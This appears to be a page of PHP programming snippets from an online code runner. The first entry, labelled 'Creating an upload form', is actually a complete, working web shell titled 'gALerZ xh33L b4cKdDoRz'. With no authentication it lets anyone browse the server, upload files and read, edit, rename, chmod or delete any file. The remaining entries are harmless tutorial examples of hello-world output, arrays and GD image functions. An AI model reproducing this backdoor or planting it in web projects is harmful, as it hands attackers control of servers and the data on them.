Phpweb Programming Examples

Creating an upload form

phpweb

<?php
set_time_limit(0);
error_reporting(0);
 
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
 
<title>gALerZ xh33L b4cKdDoRz</title>
 
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #FF00FF;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center>[#] gALerZ xh33L b4cKdDoRz [#]</center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
 
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="#green">Succes</font><br />';
}else{
echo '<font color="#red">Error</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST"><font color="green">
Upload File<input type="file" name="file" />
<input type="submit" value="gALerZ" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Done Yupz</font><br />';
}else{
echo '<font color="red">Change Permission Error</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Change Name Done Yupz</font><br />';
}else{
echo '<font color="red">Change Name Error</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Done Yupz</font><br />';
}else{
echo '<font color="red">Edit File Error</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Dir Done Yupz</font><br />';
}else{
echo '<font color="red">Delete Dir Error</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Done Yupz</font><br />';
}else{
echo '<font color="red">Delete File Error</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
 
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="#00BFFF">';
elseif(!is_readable("$path/$dir")) echo '<font color="#FFE4E1">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
 
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
 
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="#FF00FF">';
elseif(!is_readable("$path/$file")) echo '<font color="FFE4E1">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<br />
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
 
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
 
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
 
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
 
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
 
return $info;
}
?>

introduction example

phpweb

<html>
   
   <head>
      <title>Hello World</title>
   </head>
   
   <body>
      <?php echo "Hello, World!";?>
   </body>

</html>

localhost/test

phpweb

<html>
   <body>
      
      <?php
         $marks = array( 
            "mohammad" => array (
               "physics" => 35,
               "maths" => 30,	
               "chemistry" => 39
            ),
            
            "qadir" => array (
               "physics" => 30,
               "maths" => 32,
               "chemistry" => 29
            ),
            
            "zara" => array (
               "physics" => 31,
               "maths" => 22,
               "chemistry" => 39
            )
         );
         
         /* Accessing multi-dimensional array values */
         echo "Marks for mohammad in physics : " ;
         echo $marks['mohammad']['physics'] . "<br />"; 
         
         echo "Marks for qadir in maths : ";
         echo $marks['qadir']['maths'] . "<br />"; 
         
         echo "Marks for zara in chemistry : " ;
         echo $marks['zara']['chemistry'] . "<br />"; 
      ?>
   
   </body>
</html>

imagecreatetruecolor() function in PHP

phpweb

<?php
   $img = imagecreatetruecolor(300, 450);
   echo imagesy($img);
   echo "<br>";
   echo imagesx($img);
?>

Running PHP Script

phpweb

<?php
   echo "Hello PHP!!!!!";
?>

PHP imagecreatetruecolor() function

phpweb

<?php
   $img = imagecreatetruecolor(600, 500);
   echo imagesy($img);
   echo "<br>";
   echo imagesx($img);
?>

PHP imagecolorresolve() function

phpweb

<?php
   $img = imagecreatefromgif('https://www.tutorialspoint.com/images/html.gif');
   $colors = array();
   $colors[] = imagecolorresolve($img, 120, 0, 190);
   $colors[] = imagecolorresolve($img, 110, 0, 140);
   $colors[] = imagecolorresolve($img, 120, 190, 0);
   print_r($colors);
   imagedestroy($img);
?>

PHP imagecolorstotal() function

phpweb

<?php
   $img = imagecreatefromgif('https://www.tutorialspoint.com/images/html.gif');
   echo 'Number of Colors = ' . imagecolorstotal($img);
   imagedestroy($img);
?>

PHP imagecolorsforindex() function

phpweb

<?php
   $img = imagecreatefrompng('https://www.tutorialspoint.com/images/tp-logo-diamond.png');
   $x = 25;
   $y = 45;
   $rgb = imagecolorat($img, 25, 45);
   $colors = imagecolorsforindex($img, $rgb);
   var_dump($colors);
?>

PHP imagecolorresolvealpha() function

phpweb

<?php
   $img = imagecreatefromgif('https://www.tutorialspoint.com/images/html.gif');
   $colors = array();
   $colors[] = imagecolorresolvealpha($img, 120, 0, 190,0);
   $colors[] = imagecolorresolvealpha($img, 110, 0, 140,0);
   $colors[] = imagecolorresolvealpha($img, 120, 190, 0,0);
   print_r($colors);
   imagedestroy($img);
?>

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